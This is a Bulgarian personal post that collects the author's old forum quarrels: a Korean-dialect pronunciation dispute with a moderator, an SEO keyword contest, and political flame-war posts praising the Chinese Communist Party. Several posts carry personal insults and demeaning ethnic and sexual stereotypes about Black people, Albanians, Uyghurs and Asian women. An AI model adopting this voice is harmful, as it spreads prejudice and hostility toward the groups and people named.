(Притчата е вдъхновена от спора ми със Спийди относно Ш и С в корейските диалекти и НЕПРАВОМЕРНАТА НАМЕСА на Врачанската модка, която остави последно мнението на спиди, че онази буква се, чете само като Ш пред гласната И, а не и като С в Северните корейски говори, които заемат място в Северна Корея И В ГОЛЯМА ЧАСТ ОТ МАНДЖУРИЯ В КИТАЙ!)
---
На 2011/1/4 at 3:58, PyMeH написа:
Това не му разбрах смисъла? Явно не съм достатъчно Ентелегентен.
Утре отива в коша.
П.С. Да отбележа 2 неща:
1. С модератор не е здравословно човек да се заяжда.
2. Не ти определяш коя намеса на модератора е правомерна и коя не.
Със здраве,
от оня Румен
Разбира се, че ще го хвърлиш в коша, защото изобличава несправедливостта и некомпетентността. Ти вече се прояви като пристратен, не очаквам друго от теб, Руменчо.
Иначе, ако нещо ми отправяш заплахи за здравето и телесната цялостност - кажи си го в прав текст, за да направя един доклад до компетентните органи от ГДБОП, които НЕ ТОЛЕРИРАТ подобни заплахи, защото са НЕЗАКОННИ. Даже има специално създаден сайт за това, където всеки може да подаде сигнал : http://www.cybercrime.bg/bg ПРИЗОВАВАМ ВСЕКИ ДА ГО ПОЛЗВА, АКО Е НАМЕРИЛ НЕЗАКОННИ НЕЩА В ТОЗИ САЙТ ИЛИ В ДРУГИ. НЕКА СПРЕМ ВЕДНЪЖ ЗАВИНАГИ ПРЕСТЪПЛЕНИЯТА В ИНТЕРНЕТ!!!
Не се заяждам с никой, с мене се заяждат и не ми ценят отделеното време!
Да, личи си, че не аз определям кое е правомерно и кое не е. Иначе нямаше да има такъв произвол.
Мерси за пожеланията за здраве, макар че малко ми влизат в противоречие с предупреждението, че не е здравословно не знам какво си. Пак казвам - ако нещо ме заплашваш - кажи си го в прав текст, защото намеците може да се тълкуват различно.
Сиерра, има различни видове социализъм като теория и практическа историческа реализация. Не знам кой точно социализъм визираш, а и не мога да гадая за общата ти представа за социализма като такъв, само гледам, че си му придала някаква инверсия тип "Тодор Живоков" с което сигурно придаваш пейоративно значение на думата. Но това си е твое право. Не мога да те дискриминирам по политическа ориентация според новите промени в Наказателния кодекс - така че - мисли си и си споделяй политическите виждания, както решиш.
" и започнал да разправя, че всъщност абсолютната истина са само черните лебеди"
Нищо такова не е казвал. Обяснил е за РАЗЛИЧНИ СТЕПЕНИ НА ПАЛАТАЛИЗАЦИЯ, КОИТО ВАРИРАТ ОТ СЕВЕР НА ЮГ, но няма кой да разбира, Сиерра!
И да, смятам, че триенето на постове, които дават ДОПЪЛНИТЕЛНА ИНФОРМАЦИЯ пречи на правото на хората да са информирани. Това си е една НЕПРАВОМЕРНА ЦЕНЗУРА (при положение, че съм се позовал на научни източници и съм доказал НОТОРНИЯ ФАКТ за палатализацията)
Мисля, че от квинтесенции, херменевтика, диалектическа логика, гносеология и онтология разбирам малко повечко от теб, така че напълно ми е ясна квинтесенцията ти , нарича се ПОРЕДНАТА-ПРИСТРАСТНОСТ-И-НЕДАЛНОВИДНОСТ.
На 2011/1/4 at 4:53, parab написа:
Още от публикуването мисля, че темата трябва да отиде във Fun Corner.
В захлас четях постовете на човека, до момента в който започна да става досаден с мненията си, че от него по-всезнаещ няма. Явно е, че знанията не дават мъдрост.
Парабееее, Парабе. Къде съм казал, че съм всезнаещ и, че нямало "по-всезнаещ"(всъщност, ВСЕЗНАЕЩ няма превъзходна степен от рода на ПО-ВСЕЗНАЕЩ или НАЙ-ВСЕЗНАЕЩ, защото ако се знае всичко, то няма как да се знае повече от всичкото).
Иначе да - една част от вас стават за "фан коонъ".
Досаден съм станал? Ами напускам, бе! Благодарение на мене тоя форум щеше да се напълни с много НОВИ КЛЮЧОВИ ДУМИ и паяците на търсачките да го ранкнат за какво ли не, с което да просперирате като:
-търсене
-трафик в нета
-авторитет,
но недалновидното ви модериране ми досади и на мене. Съжалявам, че няма и да редактирам безплатно китайските преводи, както обещах на един от вас тук, но просто всичко си има граници.
Колкото за моята мъдрост - не мисли за нея. Щом съм успял да си намеря работа за по 20 лева на час, правя сайтове на китайски, намерил съм си китайска съпруга, завършил съм висше с магистърска степен и съм запознат с действащите закони, смятам, че поне малко мъдрост имам, независимо какви са твоите критерии. А НАЙ-МЪДРОТО Е, че видях, че НЕ СИ СТРУВА да си харча БЕЗПЛАТНО от времето и знанията тук, защото след време пак може на някоя модка да й се стори, че нещо трябва да се изтрие (даже и да е некомпетентна, както си признава в прав текст) и аз за какво съм писал? За оня, дето клати гората!
На 2011/1/4 at 5:45, A Love To Kill написа:
О "просветителю" ! Не можах да разбера защо си мислиш, че сме на тъмно ?
Другия път докато "пръскаш" светлина гледай да те заслепи отражението.
"Любов да убивам" - само като ти види човек избора на ник и може да усети колко ти е тъмно под калпака или под забрадката.
Иначе какво аз си мисля и какво вие си мислите - все тая. Аз просто спирам да пиша тука. Надявам се да не ме споменавате повече. Съжалявам, че не оценихте моя принос (част от който решиха да затрият).
Ако никой повече не пише, обещавам да ви забравя час по-скоро!
---
Та и разговор имахме тогава (2011) с някаква жена там:
"tuci8710 1
Начало на разговор: 3 Януари, 2011
Мислех, че си решил да приключиш спора за изговора на тази буква.
Сам се опроверга с последния ти пост в Корейски език, който мисля да изтрия, защото честно казано няма да доведе до нищо добро и полезно.
По-добре вместо да спорите - напиши пост в който да посочиш кои и какви са диалектите на корейския език.
Лично аз, без да съм компетентна по този въпрос - от логична гледна точка, мисля, че както в България, така и в Корея следва да има писмен и говорим книжовен език. Смятам, че в Софийския университет обучават студентите на точно такъв език и за това бих се съгласила с мнението на Спиди. Не омаловажавам по никакъв начин твоите твърдения, но от всеобщ интерес е взаимно да си помагаме и да надграждаме знанията си, а не да сравняваме кой колко знае и може.
Също така те моля и да разгледаш по-обстойно фоорума. Темата ти за Суши ще бъде преместена в общата тема за азиатска кухня.
В бъдеще не смятам за нужно да се обосновавам, а да действам директно, според правилата на форума ни.
Ако имаш някакви забележки или въражения - моля да бъдат изразени на лично съобщение.
Лек и успешен ден."
Аз: "Оставили сте й нейния пост последен, а моите отговори ги няма, та излиза, че съм изгубил спора. ОЩЕ ПОВЕЧЕ - ОСТАВАТ ХОРАТА ДА ТЪНАТ В НЕВЕЖЕСТВО ОТНОСНО ОСТАНАЛИТЕ КОРЕЙСКИ ДИАЛЕКТИ И ВЪПОРОСЪТ С ПАЛАТАЛИЗАЦИЯТА!
Сега конкретно по въпросите ти и, ако не се разберем, ще отнеса въпроса към админа.
"няма да доведе до нищо добро и полезно."
ЩЕ ДОВЕДЕ ДО ПОВЕЧЕ ПОЗНАНИЕ! ЗАЩОТО Е НОТОРЕН ФАКТ, ЧЕ СЕ ИЗГОВАРЯ И КАТО "С" !
"По-добре вместо да спорите - напиши пост в който да посочиш кои и какви са диалектите на корейския език."
НАПИСАЛ СЪМ, НО НЕ СТЕ ВИДЕЛИ! ОТДЕЛНО НЕ МИСЛЯ, ЧЕ ТРЯБВА НЕЙНОТО ДА ОСТАВА КАТО ПОСЛЕДЕН ОТГОВОР, ЗАЩОТО СЕ СЪЗДАВА ПОГРЕШНО ВПЕЧАТЛЕНИЕ, ЧЕ ОНОВА Е САМО "Ш" !!!!!!!!!!
"Лично аз, без да съм компетентна по този въпрос - от логична гледна точка, мисля, че както в България, така и в Корея следва да има писмен и говорим книжовен език. Смятам, че в Софийския университет обучават студентите на точно такъв език и за това бих се съгласила с мнението на Спиди."
КОРЕЯ Е 2 ДЪРЖАВИ! БЪЛГАРИЯ - СЪЩО! Така както Македония има свой диалект, така и Северна Корея си има свой. Те се признават за официални езици. Аналогията ми е леко груба, но дава представа КАК в СУ обучават на ЕДИН ОТ официалните езици. Отновно напомням, че има 2 КОРЕИ, както ДУНБЕЙСКИ КОРЕЙЦИ в КНР ! За много от тях това е "С"!
"Не омаловажавам по никакъв начин твоите твърдения, но от всеобщ интерес е взаимно да си помагаме и да надграждаме знанията си, а не да сравняваме кой колко знае и може."
ЧЕ НАЛИ И АЗ ТОВА АПЕЛИРАМ - ДА НЕ СЕ ЗАЯЖДА ТЯ, А И ВИЕ ДА НЕ СТЕ ПРИСТРАСТНИ И ДА МИ ТРИЕТЕ САМО МОЕТО, А НЕЙНОТО ДА СТОИ - ТРИЙТЕ АДЕКВАТНО И СПРАВЕДЛИВО!
"Също така те моля и да разгледаш по-обстойно фоорума. Темата ти за Суши ще бъде преместена в общата тема за азиатска кухня. "
ДОБРЕ!
"В бъдеще не смятам за нужно да се обосновавам, а да действам директно, според правилата на форума ни.
Ако имаш някакви забележки или въражения - моля да бъдат изразени на лично съобщение.
Лек и успешен ден."
В БЪДЕЩЕ СЕ НАДЯВАМ ДА НЯМА ПОВЕЧЕ ПРОИЗВОЛИ ИЛИ ЩЕ СЕ СВЪРЖА С АДМИНИСТРАЦИЯТА, АКО И ТЯ НЕ ВЗЕМЕ СТРАНАТА НА СПРАВЕДЛИВОСТТА - НАПУСКАМ ФОРУМА, И БЕЗ ТОВА ПИША БЕЗПЛАТНО И ХАРЧА ВРЕМЕ, КОЕТО НАКРАЯ СЕ МЕСТИ, ТРИЕ И ПР. НЕ СТАВА ТАКА!!!!!!!!!!!!!!!!!!!!!!!!!!"
"tuci8710 1
Отговорено: 4 Януари, 2011
По твоята логика не биваше да трия нито един пост и да си спорите безкрайно. Или може би да оставя само твоите мнения, като най-правилни и истинни, защото в уикипедия пише така?!? Освен това не мисли, че съм ощетила само и единствено теб .
Преместила съм твоето мнение и нейното мнение като отговор на твоето (дори съм сложила в спойлер ненужното)
и нека хората да преценят кое е вярното твърдение. Впечатленията на хората мен лично не ме засягат.
Още повече, че не смятам, че сме форум, пълен с невежи и глупаци (освен напълно непросветлени), които не могат да разграничат едното твърдение от другото.
Сега видях и темата ти, в която споменаваш за корейските диалекти - мисля, че е напълно достатъчна и изчерпателна.
Относно модераторската ми работа мога да ти кажа, че не съм нарушила нито едно от форумните правила, както и не съм проявила пристрастност към нито един от двама ви, макар, че и аз имам право на лично мнение.
И да е ясно, че на мен (както и на целия екип) също никой не ми плаща за отделеното време и определено никак не ми е забавно "произволно" да се занимавам с вашата персона.
Имаш правото да се свържеш с който искаш админ или мод по тези въпроси, както и да напуснеш форума.
Мен това не може да ме трогне или изплаши по никакъв начин."
Аз: "По моята логика, когато се трие нещо се трие ДО КРАЙ, а не да се оставя САМО ЕДИН ПОСТ НА ОПОНЕНТА, КОЙТО НА ВСИЧКО ОТГОРЕ Е ОБОРЕН (всеки разбра, че онази буква се чете и като "С"!). Така не помагаш на образованието на хората, а ПРЕЧИШ.
Правиш ли разлика между оставяне само нейно мнение, оставяне само мое мнение, триене на всички мнения и оставяне на всички мнения. ГОВОРЯ ЗА АДЕКВАТНО-И-СПРАВЕДЛИВО модериране!
Да, нека хората да преценят кое е вярното (при положение, че НАВСЯКЪДЕ ИЗ НЕТА МОЖЕ ДА СЕ ВИДИ ОНОВА КАК СЕ ЧЕТЕ) и как ти модерираш ПРИСТРАСТНО-И-ПОЛОВИНЧАТО!
"Сега видях и темата ти, в която споменаваш за корейските диалекти - мисля, че е напълно достатъчна и изчерпателна."
Да, но, АКО ДРУГ НЕ Я ВИДИ и остане само с впечатлението от ОСАКАТЕНАТА тема от теб, че онази съгласна се чете САМО като "Ш" тогава какво ?
"Относно модераторската ми работа мога да ти кажа, че не съм нарушила нито едно от форумните правила, както и не съм проявила пристрастност към нито един от двама ви, макар, че и аз имам право на лично мнение."
СИГУРНО В ПРАВИЛАТА ПИШЕ, ЧЕ ТРЯБВА ДА СЕ ОСТАВЯ САМО ЕДИН ПОСТ С ЕДНА ГЛЕДНА ТОЧКА (още повече - НЕВЯРНА!)
"И да е ясно, че на мен (както и на целия екип) също никой не ми плаща за отделеното време и определено никак не ми е забавно "произволно" да се занимавам с вашата персона."
ДА, АМА ТЕБЕ НИКОЙ НЕ ТЕ ТРИЕ! РАЗБИРАШ ЛИ "ТЪНКАТА" РАЗЛИКА? ЕДНО Е НЯКОЙ ДА СИ ПОСВЕТИ ВРЕМЕТО (вместо да го отдели на жена си, както в моя случай!), ЗА ДА НАУЧИ НА НЕЩО ФЕНОВЕТЕ НА ИЗТОКОВЕДСТВОТО И ДА ГО ИЗТРИЯ ЗА БЛАГОДАРНОСТ, а друго е да пишеш и ДА НЕ ТЕ трият.
"Имаш правото да се свържеш с който искаш админ или мод по тези въпроси, както и да напуснеш форума.
Мен това не може да ме трогне или изплаши по никакъв начин."
АМА КОЙ ИСКА ДА ТЕ ТРОГВА И ПЛАШИ ПЪК ТЕБЕ?! ВЪОБЩЕ НЕ МЕ ИНТЕРЕСУВАТ ПРОЦЕСИТЕ В ЦЕНТРАЛНАТА ТИ НЕРВНА СИСТЕМА (УПЛАХА, РАДОСТ И ПР.). ТИ ЗА МЕН СИ ПРОСТО ЕДИН НЕКОМПЕТЕНТЕН И ПРИСТРАСТЕН МЛАД ЧОВЕК ОТ ПРОВИНЦИЯТА НА БЪЛГАРИЯ. АБСОЛЮТНО НЕ МЕ ИНТЕРЕСУВАШ. А АЗ НАПУСКАМ, ЗАЩОТО НЕ ИСКАМ ПО-НЕКОМПЕТЕНТНИ ХОРА ДА МЕ ТРИЯТ! ЧАО!
Ще приложа копия и до другите да е ясно ЗАРАДИ КОГО съм напуснал (дължа им го, а не, че както казах ме интересува какво точно ти ще почувстваш, помислиш, видиш, решиш и пр.)"
-
Ето и едно, пак от същия, за да покажа, че имах добри намерения:
"Радвам се, че има такъв форум в българския интернет! Фен съм на корейската култура. Даже ви направих реклама и ви защитих задочно в моя форум - kry4ma.com
Пожелавам ви Весела Коледа и щастлива Нова година!
Поздрави от Китай!" (26 Декември, 2010 в тема "한국어".)
ОБАЧЕ, просто не стана (и то не по моя вина)! Съобразявам се с реалностите - вече не пиша там, поизтрих каквото можеше от това, което прехвърлих тук (нямам намерение да си давам съдържанието на други сайтове, когато мога да си го ползвам само в този, който ценя най-много!)... Даже не го и споменавам кой форум визирам, че да не им правя реклама... И така.
-
Относно победата в едно SEO-състезание (ОТМ-състезание; оптимизаторско състезание) - "Ботилия":
"Търся си добър оптимизатор, който да може да ми качи сайта на първа страничкa
1. "Добър ден на всички оптимизатори!Търся си добър оптимизатор, който да може да ми качи сайта на първа страничка в google. Ще избера и ще платя добре на човека, който се докаже, че е най-добрият оптимизатор тук. За тая цел ще си позволя да обявя едно малко seo конкурсченце. За 2 седмици броено от днес искам да видя кой от вашите български уебсайтове ще се изкачи най-високо в google по една дума, която ще измисля в момента и която няма да я има много в интернет. Айде да е дума, която е направена от съединяването на "бот" и "Илия" значи: "ботилия". След две седмици ще пусна търсене за думата "ботилия" и ще видя кой от българските сайтове е на първо място, след което ще се договорим със собственика му за едно добро заплащане за оптимизация на моя сайт по една или повече клюдуми."
2. "Добро утро!Аз съм приятел Илия, който му помага с поддръжката на сайта, за който става дума и, който лично му предложи да намери човек, който да се заеме с оптимизацията, защото мене ме притиска времето.@against- тези 2 седмици не се заплащат. Плаща се само за свършена работа по проекта на Илия. В тези две седмици ще видим кой е най-кадърният оптимизатор, след което ще го наемем. Вече виждам, че някои са започнали работа по оптимизирането на предложената от Илия дума. Не е късно да се включат и други, които вярват, че имат уменията и знанията.@prognozi.org- Вашият сайт е на първо място само по 1 резултат в областта на спорта, което за мен не е доказателство. Излезнете в Гугъл на първа стр. относно предложената вече дума, след което ще бъдете нает.@miivki- Ако не се споразумеем с победителя за цената, тогава минаваме към "сребърния медалист"- този който е на второ място, докато получим някакво споразумение.Илия е готов да плати първоначално за 2-3 думи, след което, ако се справите със задачите ще поръча и още няколко допълнително относно друг свой проект.@хорасио- договаряне означава разговор в който се постига споразумение за извършвана услуга и плащане.Ако поискаш неразумна цена, няма да бъдеш нает и ще бъде нает този, който е по-конкурентноспособен. Така действат принципите на пазара. Ако си наистина добър оптимизатор няма да ти се наложи да "копаш 2 седмици", а само с 1 ден работа ще зададеш достатъчните условия за ранкинга, който ще се случи през следващите няколко часа или дни, когато се раздвижат паяците. Ако си от хората, които при срок за оптимизация от 2 седмици, постигат тази оптимизация за 2 седмици, а не за доста по-малък период от време, значи не разбираш от отимизиция и е по-добре да не си губиш времето с този малък конкурс. Доколкото съм участвал в конкурси и съм чел условия на конкурси- наградите се дават само на победителите и никой не заплаща време/труд на загубилите. Не знам как ви е хрумнало, че трябва да се плаща на всеки, който е взел участие. @Auct- може и да не се включваш, конкурсите са на добра воля. Ако някой е добър оптимизатор няма да се "тепа 2 седмици" за дума, при която излизат само десетина резултата в гугъл. Явно и твоето равнище на разбиране не е това, което таргетираме. Разсмя ме с 10-те поста. За какво са ни 10 поста? За да слагаме хиперлинкове в този форум? Моля ти се. Наблюдавам с месеци и години наред как някои "трупат линкове" и още не са си оптимизирали желаните думи в първите страници на Гугъл. Не става така, както го мислиш.@thunder_go- ти май си някое малко момченце, което пише тук, за да си прави гъбарки. Ако става дума за купуване на домейн с някакво име, това всеки го може. Избраната дума искаме да я оптимизирате в някой ВАШ, български сайт, а не в новозакупени сайтове. Защото, ако дойде време да работим заедно и ти кажа да ми оптимизираш в рамките на 1 месец думите "литература" и "разкази", няма да има как да го сториш, закупуйки нови домейни, защото на нас ни трябва оптимизацията да се осъществи за нашия домей, който е например писател.нещо , а не литература.нещо. Разбираш ли?@thinkfast- Ще се радвам, ако хора като вас не участват в конкурса. Не го приемайте лично и не се обиждайте, преди да сте прочел какво имам предвид. Първо, пак ще ви кажа, че не става дума за купуване на нови домейни. Искам да ми покажете как при вече закупен и функциониращ домейн, хостинг и развито съдържание в някои от вашите сайтове можете да качите в период от 2 седмици думата на първо място в Гугъл. Не се налага да купувате нови домейни. Второ, не знам защо линковете ви струват някакви пари. Ако искате ще ви дам списък със сайтове, в които можете да слагате линкове безплатно. Нарича се "събмит". Трето, това е малко лично, но...гледам как се мъчите да се ранкнете за "отслабване" и "специални диети" от дълго време, но не ви се отдава, така че...Не, не ме разбирайте погрешно- нямам нищо против и Вие да се включите в този конкурс, но просто съм сигурен, че няма да го спечелите, затова ще се радвам, ако хора като вас не участват. Приканвам само можещите и разбиращите хора. На 21ви ноември ще обявим печелившия! Благодаря на тези, които вече се включиха и на тези, които биха се включили. За разбиращите хора мисля, че няма нужда да повтарям, но за да не стават недоразумения- оптимизирайте думата "ботилия" във вече наличен, функциониращ, ВАШ, сайт, за да покажете, че сте най-добрите за наложителната работа по сайта на Илийката."
3. "Така. Първо да благодарим за участието на всички, които не говореха глупости, че Гугъл можело и с години да не индексира ботилия и, че за участие в такова състезание се искало да се инвестираш с няколко си стотин лева!
Анонсирам победителите след двуседмично участие, които са спазили условията на seo състезанийцето: дума-ботилия, сайт-собствен. Всички, които са пускали обяви в сайтове за обяви или тези, които са правили блогове не отговарят на условието. Ако на мен ми трябва някой, който да може да оптимизира моя сайт, това че може да пуска обяви по други сайтове или че може да направи един блог с някоя ключ. дума мен не ме урежда. Аз също умея да пускам обяви и да правя блогове.
Пускаме проверката с гугъл.бг, понеже трябва да оптимизираме за България. Вляво използваме търсене за конкретен период от 8.11.2010 до 22.11.2010. Резултатите ми показват 1. Обяви в napazar.eu, 2. Автоматизирани rss емисии, 3. kry4ma.com, 4. predpriemach.com. Ясно е, че първите два резултата не могат да участват в състезанийцето, затова ги игнорираме и анонсираме златен медал за кръчмата и сребърен за предприемача.
Аз обаче искам да направя и една проверка с гугъл.бг независимо кога, след което ще сумираме математически резултатите. При проверката независимо кога получавам същите резултати.
Крайно класиране:
Златен медал за кръчмата, сребърен за предприемача. На трето място се намира botilija.blogspot.com, но те не отговарят на условието да е в собствен сайт, следователно нямаме бронзов медалист.
И сега по съществото. Кой иска от kry4ma.com или predpriemach.com да оптимизира 2 ключ. думи за 8 лева? Ако ги оптимизират добре тогава ще получат поръчки за още 5 думи и ще могат да получат голямата сума от общо 28 лева+ бонус от 2 лева, за да ги закръглим на 30 лева. Това е една много сериозна сума и моля хората да уважават парите и да не ми разправят кое колко струвало. 8 лева за 2 думи, а при успех поръчка за още с крайна сума цели 30 лева. Може да ви бъдат изплатени и в евровата равностойност. Очакваме предложения!
"
Ами, победихме тогава (с kry4ma.com, която вече не съществува, но пък се стараем тук - в този международен всичкологичен/омнилогичен форум.) :)
-
Ето и разни добавки от същото - само частични, защото не мога да изнамеря всичките, които съм писал по онова време:
"Друго важно е, както пишеше в сайта си един човек (Лилакор май беше, ако не бъркам) - никой не може да ви даде гаранция за излизане на 1-ва страница в Гугъла, така че не се предоверявайте. Аз също на онова момче, което ме намери и ми се довери за оптимизирането му и ранкването му от 3-та на 1-ва страница, му казах - ще ми платиш тогава-и-само-тогава, ако-и-когато си видиш сайта на 1-ва страница. Няма ли резултат - няма пари.
Здравейте, момчета!
Не знам защо някои тука са писали, че сайта за обяви е пред Кръчма.ком. Ето ви резултати (не дава да се слагат линкове :( - редакция! ) намерени през 2 различни айпи-адреса в света, които показват, че Кръчма.ком е на 1-во място в оптимизацията на ботилията. Проверете и вие в Гугъл.бг и се уверете сами. Погледнете от различни компютри, с различни проксита и пр.
За процедурата какво правим, ако хората не платят:
а) Ако нямаш договор и го караш на т.нар. джентълменс ъгриймънт (джентълменско споразумение) и те прекарат - можеш да се оплачеш публично и да пиеш една студена вода ;)
б) Ако имаш договор - съдиш го и той/тя си плаща не само каквото дължи, но и разходите по делото, както и печели "реноме" при което повече няма да е лесно да си намери нови оптимизатори.
Значи преди някой не спазил условието на Илия да е в негов си сайт, а не в сайтове за обяви и блогове (то точно това не е никаква оптимизация, щото въпросните блогове и обяви са си оптимизирани отдавна, ама няма кой да разбира!) и после има недоволни, че Кръчмата победила...
ОТДЕЛНО ТИ ПРЕДЛОЖИХ, АКО ИСКАШ ДА ОБЯВИШ НОВО ОПТИМИЗАТОРСКО СЪСТЕЗАНИЕ И ДА ВИДИМ ОТНОВО. МЪЖКАТА ДУМА СИ СЛАГАМ, ЧЕ ПАК ЩЕ УЧАСТВАМ И ТОЗИ ПЪТ ОЩЕ ПО-ДОБРЕ ЩЕ СЕ СПРАВЯ, ЗАЩОТО ВИДЯХ КОИ НЕЩА СА ПО-ДЕЙСТВАЩИ :)
Tиква е мозъкът ти!
(Така достатъчно кратко и ясно ли е, според лаконичните* ти представи?)
--------
*Лаконичен - от Лакония. Там едно време са имали за идеал краткословието.
Между другото, когато получа отговор от Гугъл и, ако го получа ще ви кажа за линко-колелетата как ги имат като статус, за да си прецените стратегията.
За сео-състезанията съм прочел по-отдавна, още когато започна Ботилията.
Преди някой каза, че като напиша тука някоя дума и сравнително-паралелно си я пиша и в kry4ma.com, то думата нямало да се индексира там."
-
Едни от януари 2010:
ККП_ЗАВИНАГИ: " Здравейте, приятели! Приканвам ви да прочетете моята гледна точка:
24-01-10
1) До Саско:
1.1. Няма значение кой е българин и кой не е. Хич не е на място човек, който си признава, че има чужда кръв, включая циганската, да държи сметка за етническата принадлежност на тоя и оня. Отделно не е важно кой какъв е, а какво му е самосъзнанието. Византия, та дори и Аварският хаганат са великолепни примери за това как пъстрота от етноси може да носи едно и също самоопределение/самосъзнание. Разкопки показват, че етническите авари-монголоиди са били само малка част от останалите в хаганата, повечето от които са били не-етнически, а "идеологически" (самосъзнаващи се като) авари. Самият ти си добър пример за това как човек, който по ДНК едва ли съдържа и 10 % от изконната българщина се има за голям българин и се приема от останалите за такъв.
1.2. Какво гражданство имам/нямам си е моя работа и мога да отговарям за това пред компетентните власти.
Конкретно до идеите ти, че не било хубаво да си с китайско гражданство, срещал съм ги и сред някои китайци. Въпрос на предпочитание - който се кефи на това да плаща визи всяка година и да се подлага на задължителните медицински тестове в Китай (облъчване с рентген, вземане на кръв венозно, пикаене в чашка, събличане гол и пр., в зависимост от това в кой град си) - нека си държи българското, австралийското или папуаското гражданство. Аз като човек, който е избрал да живее в Китай и да имам всичките права на китайските граждани, резонно е да се чувствам по-добре с китайско гражданство. Ама не можело да се пътува лесно по света. От какъв зор пък трябва да се пътува по света? Китай заема 1/5 от света. Да не говорим, че пътуванията са излишно пилеене на пари, с които човек може да си плати един апартамент или някоя животоспасяваща операция. Говорим за нормални хора от работническата класа и интелигенцията, а не за паралии като Саско, които не знаят какво да си правят парите.
1.3. Маниите са психически проблеми, вярно е. Но и фобиите са такива, нали? Гарантирам ти го като син на потомствени психиатри, който е посещавал курсове по психопатология и, който е с магистърска степен по философска антропология.
1.4. Параноята също е психически проблем. Според някои автори като доцент Рачев параноя вера еволюира до шизофрения, така че рябва да се полагат повече грижи за психическото здраве. Да ти го кажа по-просто, за да съм сигурен, че дори ти и Иван ще го разберете - не всеки, който обича Китай и/или е на друго от ксенофобските ви, анти-китайски мнения, е Гесер Айванов Курултаев.
1.5. Може да се шегуваш не само с китайците и Партията. Ти лично, ако искаш и с майка си. Друг е въпросът дали това е правилно, когато се ползваш от културата, храната и пр. на тази държава - Китай. Да не говорим, че в постовете ти няма само шеги, а откровена злоба, расизъм и всичко, което най-малко приляга на китаист.
1.6. От мен има много интересни неща, ама намирането на интерес/смисъл изисква по-развит ум. Така както на някоя селянка с основно образование няма да й е интересно да прочете нещо за философията на тъждеството, така и на тебе няма как да ти е интересно какво АЗ съм написал.
1.7. Каква добронамересност може да се намери в презрениято и расизма ти? Човек трябва да се е сбъркал съвсем, за да повярва на тази постановка.
1.8. Красотата е нещо СУБЕКТИВНО. За някой най-красивите хора са негрите, друг си пада по снежно-бели шведи. Арабите в Либия се кефеха на тлъсти мадами... Така че да се каже, че нещо не е хубаво или е хубаво няма никакъв ОБЕКТИВЕН смисъл.
Ален Делон в момента прилича на задник от старост, но щом като ти е красив - твоя воля. Явно си почитател на мъжката красота.
И вместо да изказваш съжаление за моята жена, по-добре обясни защо ти нямаш такава, а си, заедно с албанците "първа писта" по публичните домове на Китай (или пък може онова изказване за албанските мъже да си го направил от яд, че не са те избрали тебе, пред китайките от които се отвращаваш... Рядко съм виждал НОРМАЛЕН, ХЕТЕРОСЕКСУАЛЕН мъж, който да не желае сексуално азиатки). Оставям хората да си правят изводите за тебе.
1.9. Заповядай в Саня да се видим. Нали хората ми направиха реклама, а ти ужким щеше да идваш в Саня, пък после замина за Индонезия. Явно не щеш да помогнеш на моя бизнес тука...
1.10 Китайското общество е по-оправено от българското и западните. Забраните и ограниченията, които най-после им светна да въвеждат на Запад като Интернет-следене, камери, мерки за сигурност - в Китай отдавна са приложени от Премъдрата Комунистическа Партия.
2. До Иван:
2.1. Към тебе по-накратко, понеже ти си клиничен случай в политически и в психологически смисъл. От малък си промит с "Дойче Веле" и "Свободна Европа", и още не ти светва, че на времето каквото говориха беше измама. Шенгенските визи никак не се връзват със Свободите, най-малкото.
Да не говорим за военните интервенции и какво ли не. Зомбиран си и е невъзможно да ти се обясни.
2.2. Параноята толкова те е обсебила, че чак на обикновени репортажи и снимки не вярваш. Щом било от Китай, значи не ставало. Ами, че това си е жив религиозен догматизъм.
2.3. Радва ме, че сам си признаваш, че има двойствен стандарт във форума, избирателна цензура и всички неща, които добре сте усвоили от апарата на другаря Тодор Живков. Дразнещото е, че се правите на демократични, а сте тоталитарсти от класически тип.
2.4. Щом не ти пукало кой те чете, защо слагаш ограничения на някои постове? Правиш се на ербап, ама не си. То се и вижда колко лесно се плашиш от албанците и уйгурите, макар и да харесваш жените им... За пример - аз като съм си харесвал някоя уйгурка даже пред братята и цялата й рода съм я ловил за ръцете и съм я прегръщал, а както виждаш - още съм жив, нали?
Друг е въпросът, че женен човек с деца да се точи за още жени не е нещо от нещата, които будят обществено одобрение.
3. До Павел:
3.1. След като си се убедил, че този форум е анти-китайски, информирай за това интернет-властите в Китай, за да бъдат предприети необходимите мерки, според закона.
3.2. Действай повече рекламно. Не си губи времето да комуникираш с тях. Те са хора на крайностите тук.
4. До Нат:
4.1. Права си и будиш уважение с това, че направо показваш тоталитаризма, който те се опитват да прикриват.
5. До Гери Чао
5.1. Прави, каквото ще правиш с мъжа си (ако въобще имате намерение и възможности да правите), без да вдигаш много шум из форума. Щото, утре, примерно, някой друг ще вкара Саско в болнични, а ще ви нарочат вас.
5.2. Не разбрах защо преди се възхищаваше от постовете ми, после ме намарази. Същото се отнася до Будьо и жена му. Лесно се манипулирате от Иван и Саско. Днес ви накараха да ме намразите мене, утре може да ви накарат да намразите цял Китай... Повече самостоятелно мислене няма да ви е излишно.
Ако има хора, които не искат да се крият зад Кремена и други модериращи, а искат да излезнат на открит двубой с мене - да заповядат на:
Скайп - conradbest
мейл - tatarkeshe @ yahoo.com
Яху - tatarkeshe "
---
дядоПетко: "
Първоначално написано от Aquarius Виж мнението
Ох, давайте по темата за Гесер, по-забавно е от личните подробности ;Р
Така е, Яна, така е. И затова първо за теб:
1) Най-важното- до Яна Шишкова:
Въпреки личните ни спорове, които възникват понякога, аз много те харесвам поради това, че допринасяш за връзките на България със Социалистически Китай най-редовно в китайското посолство.
Снимка на другарката Яна Шишкова от връчването й на награда в Китайското посолство:
http://www.chinaembassy.bg/bjly/zbgx/W020041014581980312741.jpg
КАКТО И, ЧЕ ЗА РАЗЛИКА ОТ ТОЗИ САЙТ, В ТВОЯ МОЖЕ ДА СЕ ПРОЧЕТАТ ДОБРИ И ВЕРНИ НЕЩА ЗА КОМУНИСТИЧЕСКАТА ПАРТИЯ КАТО ТЕЗИ:
_________
" Политическата воля, устремеността към едно богато бъдеще и господстваща роля на КНР по възможно най-добрия, според мен, начин, а именно - чрез процесите на икономическото господство и трудолюбието на китайския народ, а не чрез политиката на инвазия и брутално неуважение към суверенитета на останалите страни, каквато винаги са провеждали САЩ.
"
__________
(материал от блога на другарката Шишкова, посветен на ККП. Целият материал можете да видите на адрес: china.edax.org/index.php?s=%D0%9A%D0%9A%D0%9F )
Радвам се и, че не само имаш добро отношенение към ККП, но и конкретно хвалиш ПРАВИТЕЛСТВОТО на КНР:
________
"...Хората живеят радостно..., всеки знае, че правителството се грижи за него. Има една много, много силна вяра, защото се вижда какво се случва..."
________
